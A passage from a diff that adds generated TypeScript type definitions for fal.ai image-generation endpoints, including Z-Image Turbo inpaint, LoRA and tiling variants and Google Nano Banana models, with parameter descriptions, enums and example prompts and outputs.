image_size?: ImageSize0A742D09 | InputFalAiZImageTurboInpaintLoraImageSizeKey + /** + * @description The end of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + control_end?: number + /** + * @description The start of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + control_start?: number + /** + * @description The prompt to generate an image from. + * @example A young Asian woman with long, vibrant purple hair stands on a sunlit sandy beach, posing confidently with her left hand resting on her hip. She gazes directly at the camera with a neutral expression. A sleek black ribbon bow is tied neatly on the right side of her head, just above her ear. She wears a flowing white cotton dress with a fitted bodice and a flared skirt that reaches mid-calf, slightly lifted by a gentle sea breeze. The beach behind her features fine, pale golden sand with subtle footprints, leading to calm turquoise waves under a clear blue sky with soft, wispy clouds. The lighting is natural daylight, casting soft shadows to her left, indicating late afternoon sun. The horizon line is visible in the background, with a faint silhouette of distant dunes. Her skin tone is fair with a natural glow, and her facial features are delicately defined. The composition is centered on her figure, framed from mid-thigh up, with shallow depth of field blurring the distant waves slightly. + * @type string + */ + prompt: string + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + control_scale?: number +} + +export type ImageFile731E5Bc4 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboInpaintLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":512,"height":888,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-inpaint-output.png"}] + * @type array + */ + images: ImageFile731E5Bc4[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput358Ccf8F = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeE80Dee33 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboLoraAccelerationEnumKey = + (typeof inputFalAiZImageTurboLoraAccelerationEnum)[keyof typeof inputFalAiZImageTurboLoraAccelerationEnum] + +export const inputFalAiZImageTurboLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiZImageTurboLoraImageSizeKey = + (typeof inputFalAiZImageTurboLoraImageSize)[keyof typeof inputFalAiZImageTurboLoraImageSize] + +export const inputFalAiZImageTurboLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboLoraOutputFormatEnumKey = + (typeof inputFalAiZImageTurboLoraOutputFormatEnum)[keyof typeof inputFalAiZImageTurboLoraOutputFormatEnum] + +export type InputFalAiZImageTurboLora = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboLoraAccelerationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput358Ccf8F[] + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeE80Dee33 | InputFalAiZImageTurboLoraImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example A hyper-realistic, close-up portrait of a tribal elder from the Omo Valley, painted with intricate white chalk patterns and adorned with a headdress made of dried flowers, seed pods, and rusted bottle caps. The focus is razor-sharp on the texture of the skin, showing every pore, wrinkle, and scar that tells a story of survival. The background is a blurred, smoky hut interior, with the warm glow of a cooking fire reflecting in the subject's dark, soulful eyes. Shot on a Leica M6 with Kodak Portra 400 film grain aesthetic. + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboLoraOutputFormatEnumKey +} + +export type ImageFileEf28Ad72 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":1024,"height":768,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-turbo-output.png"}] + * @type array + */ + images: ImageFileEf28Ad72[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize7E0860B3 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiZImageTurboTilingOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboTilingOutputFormatEnumKey = + (typeof inputFalAiZImageTurboTilingOutputFormatEnum)[keyof typeof inputFalAiZImageTurboTilingOutputFormatEnum] + +export const inputFalAiZImageTurboTilingAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboTilingAccelerationEnumKey = + (typeof inputFalAiZImageTurboTilingAccelerationEnum)[keyof typeof inputFalAiZImageTurboTilingAccelerationEnum] + +export const inputFalAiZImageTurboTilingTilingModeEnum = { + both: 'both', + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiZImageTurboTilingTilingModeEnumKey = + (typeof inputFalAiZImageTurboTilingTilingModeEnum)[keyof typeof inputFalAiZImageTurboTilingTilingModeEnum] + +export const inputFalAiZImageTurboTilingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboTilingImageSizeKey = + (typeof inputFalAiZImageTurboTilingImageSize)[keyof typeof inputFalAiZImageTurboTilingImageSize] + +export type InputFalAiZImageTurboTiling = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboTilingOutputFormatEnumKey + /** + * @description How much to transform the input image. Only used when image_url is provided. + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + strength?: number + /** + * @description URL of an image for image-to-image or inpainting. When provided without mask_image_url, performs image-to-image; with mask_image_url, performs inpainting. + */ + image_url?: string | null + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboTilingAccelerationEnumKey + /** + * @description Tiling direction: 'both' (omnidirectional), 'horizontal' (left-right only), 'vertical' (top-bottom only). + * @default 'both' + * @type string | undefined + */ + tiling_mode?: InputFalAiZImageTurboTilingTilingModeEnumKey + /** + * @description Tile size in latent space. Must be even (divisible by 2) for patchification. Automatically capped to the generated image dimensions on tiled axes. (64 = 512px, 128 = 1024px, 256 = 2048px). + * @minimum 32 + * @maximum 256 + * @default 128 + * @type integer | undefined + */ + tile_size?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description URL of a mask image for inpainting. White regions are regenerated, black regions are preserved. Requires image_url. + */ + mask_image_url?: string | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example A hyper-realistic, high-resolution 4k texture of an ancient weathered brick wall heavily overgrown with lush green moss and soft lichens. The bricks are aged, featuring deep earthy tones, natural cracks, and gritty textures. Vibrant emerald moss fills the mortar lines and spills over the rough surfaces of the stones. Uniform, flat cinematic lighting ensures no harsh shadows, highlighting the intricate organic details and damp stone surfaces. The composition is a perfectly balanced overhead view, showcasing a rich tapestry of botanical growth and masonry craftsmanship with professional clarity and hyper-detailed grit. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Tile stride in latent space. Must be even (divisible by 2). Automatically capped to half the effective tile size. (32 = 256px, 64 = 512px, 128 = 1024px). + * @minimum 16 + * @maximum 128 + * @default 64 + * @type integer | undefined + */ + tile_stride?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. Use 'auto' to match the input image size (or 1024x1024 if no image). + * @default square_hd + */ + image_size?: ImageSize7E0860B3 | InputFalAiZImageTurboTilingImageSizeKey +} + +export type ImageFileCa8Fdf6D = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboTiling = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":2048,"height":2048,"content_type":"image/png","url":"https://v3b.fal.media/files/b/0a9276c3/6KxxMb0bPmfNLH3DqcuSf_qRUe8cIL.png"}] + * @type array + */ + images: ImageFileCa8Fdf6D[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput5970C595 = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeD2F77Ef9 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiZImageTurboTilingLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboTilingLoraOutputFormatEnumKey = + (typeof inputFalAiZImageTurboTilingLoraOutputFormatEnum)[keyof typeof inputFalAiZImageTurboTilingLoraOutputFormatEnum] + +export const inputFalAiZImageTurboTilingLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboTilingLoraAccelerationEnumKey = + (typeof inputFalAiZImageTurboTilingLoraAccelerationEnum)[keyof typeof inputFalAiZImageTurboTilingLoraAccelerationEnum] + +export const inputFalAiZImageTurboTilingLoraTilingModeEnum = { + both: 'both', + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiZImageTurboTilingLoraTilingModeEnumKey = + (typeof inputFalAiZImageTurboTilingLoraTilingModeEnum)[keyof typeof inputFalAiZImageTurboTilingLoraTilingModeEnum] + +export const inputFalAiZImageTurboTilingLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboTilingLoraImageSizeKey = + (typeof inputFalAiZImageTurboTilingLoraImageSize)[keyof typeof inputFalAiZImageTurboTilingLoraImageSize] + +export type InputFalAiZImageTurboTilingLora = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboTilingLoraOutputFormatEnumKey + /** + * @description How much to transform the input image. Only used when image_url is provided. + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + strength?: number + /** + * @description URL of an image for image-to-image or inpainting. When provided without mask_image_url, performs image-to-image; with mask_image_url, performs inpainting. + */ + image_url?: string | null + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboTilingLoraAccelerationEnumKey + /** + * @description Tiling direction: 'both' (omnidirectional), 'horizontal' (left-right only), 'vertical' (top-bottom only). + * @default 'both' + * @type string | undefined + */ + tiling_mode?: InputFalAiZImageTurboTilingLoraTilingModeEnumKey + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput5970C595[] + /** + * @description Tile size in latent space. Must be even (divisible by 2) for patchification. Automatically capped to the generated image dimensions on tiled axes. (64 = 512px, 128 = 1024px, 256 = 2048px). + * @minimum 32 + * @maximum 256 + * @default 128 + * @type integer | undefined + */ + tile_size?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description URL of a mask image for inpainting. White regions are regenerated, black regions are preserved. Requires image_url. + */ + mask_image_url?: string | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example A hyper-realistic, high-resolution 4k texture of an ancient weathered brick wall heavily overgrown with lush green moss and soft lichens. The bricks are aged, featuring deep earthy tones, natural cracks, and gritty textures. Vibrant emerald moss fills the mortar lines and spills over the rough surfaces of the stones. Uniform, flat cinematic lighting ensures no harsh shadows, highlighting the intricate organic details and damp stone surfaces. The composition is a perfectly balanced overhead view, showcasing a rich tapestry of botanical growth and masonry craftsmanship with professional clarity and hyper-detailed grit. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Tile stride in latent space. Must be even (divisible by 2). Automatically capped to half the effective tile size. (32 = 256px, 64 = 512px, 128 = 1024px). + * @minimum 16 + * @maximum 128 + * @default 64 + * @type integer | undefined + */ + tile_stride?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. Use 'auto' to match the input image size (or 1024x1024 if no image). + * @default square_hd + */ + image_size?: ImageSizeD2F77Ef9 | InputFalAiZImageTurboTilingLoraImageSizeKey +} + +export type ImageFile614Cc700 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboTilingLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":2048,"height":2048,"content_type":"image/png","url":"https://v3b.fal.media/files/b/0a9276c3/6KxxMb0bPmfNLH3DqcuSf_qRUe8cIL.png"}] + * @type array + */ + images: ImageFile614Cc700[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputGoogleNanoBanana2LiteOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputGoogleNanoBanana2LiteOutputFormatEnumKey = + (typeof inputGoogleNanoBanana2LiteOutputFormatEnum)[keyof typeof inputGoogleNanoBanana2LiteOutputFormatEnum] + +export const inputGoogleNanoBanana2LiteAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputGoogleNanoBanana2LiteAspectRatioKey = + (typeof inputGoogleNanoBanana2LiteAspectRatio)[keyof typeof inputGoogleNanoBanana2LiteAspectRatio] + +export const inputGoogleNanoBanana2LiteSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputGoogleNanoBanana2LiteSafetyToleranceEnumKey = + (typeof inputGoogleNanoBanana2LiteSafetyToleranceEnum)[keyof typeof inputGoogleNanoBanana2LiteSafetyToleranceEnum] + +export const inputGoogleNanoBanana2LiteThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputGoogleNanoBanana2LiteThinkingLevelKey = + (typeof inputGoogleNanoBanana2LiteThinkingLevel)[keyof typeof inputGoogleNanoBanana2LiteThinkingLevel] + +export type InputGoogleNanoBanana2Lite = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputGoogleNanoBanana2LiteOutputFormatEnumKey + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. Use "auto" to let the model decide based on the prompt. + * @default auto + */ + aspect_ratio?: InputGoogleNanoBanana2LiteAspectRatioKey | null + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputGoogleNanoBanana2LiteSafetyToleranceEnumKey + /** + * @description When set, enables model thinking with the given level ('minimal' or 'high') and includes thoughts in the generation. Omit to disable. + */ + thinking_level?: InputGoogleNanoBanana2LiteThinkingLevelKey | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type ImageFileFd9A08Fd = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputGoogleNanoBanana2Lite = { + /** + * @description The generated images. + * @example [{"file_name":"nano-banana-lite-t2i-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-t2i-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFileFd9A08Fd[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export const inputGoogleNanoBanana21SafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputGoogleNanoBanana21SafetyToleranceEnumKey = + (typeof inputGoogleNanoBanana21SafetyToleranceEnum)[keyof typeof inputGoogleNanoBanana21SafetyToleranceEnum] + +export const inputGoogleNanoBanana21ResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputGoogleNanoBanana21ResolutionEnumKey = + (typeof inputGoogleNanoBanana21ResolutionEnum)[keyof typeof inputGoogleNanoBanana21ResolutionEnum] + +export const inputGoogleNanoBanana21AspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputGoogleNanoBanana21AspectRatioKey = + (typeof inputGoogleNanoBanana21AspectRatio)[keyof typeof inputGoogleNanoBanana21AspectRatio] + +export const inputGoogleNanoBanana21ThinkingLevel = { + minimal: 'minimal', + medium: 'medium', + high: 'high', +} as const + +export type InputGoogleNanoBanana21ThinkingLevelKey = + (typeof inputGoogleNanoBanana21ThinkingLevel)[keyof typeof inputGoogleNanoBanana21ThinkingLevel] + +export const inputGoogleNanoBanana21OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputGoogleNanoBanana21OutputFormatEnumKey = + (typeof inputGoogleNanoBanana21OutputFormatEnum)[keyof typeof inputGoogleNanoBanana21OutputFormatEnum] + +export type InputGoogleNanoBanana21 = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputGoogleNanoBanana21SafetyToleranceEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputGoogleNanoBanana21ResolutionEnumKey + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. Use "auto" to let the model decide based on the prompt. + * @default auto + */ + aspect_ratio?: InputGoogleNanoBanana21AspectRatioKey | null + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description How much the model reasons before generating. Higher levels can improve complex compositions and use more thinking tokens. + * @default medium + */ + thinking_level?: InputGoogleNanoBanana21ThinkingLevelKey | null + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputGoogleNanoBanana21OutputFormatEnumKey +} + +export type ImageFileA87E4F55 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputGoogleNanoBanana21 = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The generated images. + * @example [{"content_type":"image/png","file_name":"nano-banana-2-t2i-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-t2i-output.png"}] + * @type array + */ + images: ImageFileA87E4F55[] +} + +export const inputGoogleNanoBanana21EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputGoogleNanoBanana21EditOutputFormatEnumKey = + (typeof inputGoogleNanoBanana21EditOutputFormatEnum)[keyof typeof inputGoogleNanoBanana21EditOutputFormatEnum] + +export const inputGoogleNanoBanana21EditResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputGoogleNanoBanana21EditResolutionEnumKey = + (typeof inputGoogleNanoBanana21EditResolutionEnum)[keyof typeof inputGoogleNanoBanana21EditResolutionEnum] + +export const inputGoogleNanoBanana21EditThinkingLevel = { + minimal: 'minimal', + medium: 'medium', + high: 'high', +} as const + +export type InputGoogleNanoBanana21EditThinkingLevelKey = + (typeof inputGoogleNanoBanana21EditThinkingLevel)[keyof typeof inputGoogleNanoBanana21EditThinkingLevel] + +export const inputGoogleNanoBanana21EditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputGoogleNanoBanana21EditSafetyToleranceEnumKey = + (typeof inputGoogleNanoBanana21EditSafetyToleranceEnum)[keyof typeof inputGoogleNanoBanana21EditSafetyToleranceEnum] + +export const inputGoogleNanoBanana21EditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputGoogleNanoBanana21EditAspectRatioKey = + (typeof inputGoogleNanoBanana21EditAspectRatio)[keyof typeof inputGoogleNanoBanana21EditAspectRatio] + +export type InputGoogleNanoBanana21Edit = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputGoogleNanoBanana21EditOutputFormatEnumKey + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputGoogleNanoBanana21EditResolutionEnumKey + /** + * @description Optional PDF document to use as input context. Accepts an http(s)/data URL (downloaded and sent inline, max 15MB). + */ + pdf_url?: string | null + /** + * @description How much the model reasons before generating. Higher levels can improve complex compositions and use more thinking tokens. + * @default medium + */ + thinking_level?: InputGoogleNanoBanana21EditThinkingLevelKey | null + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type 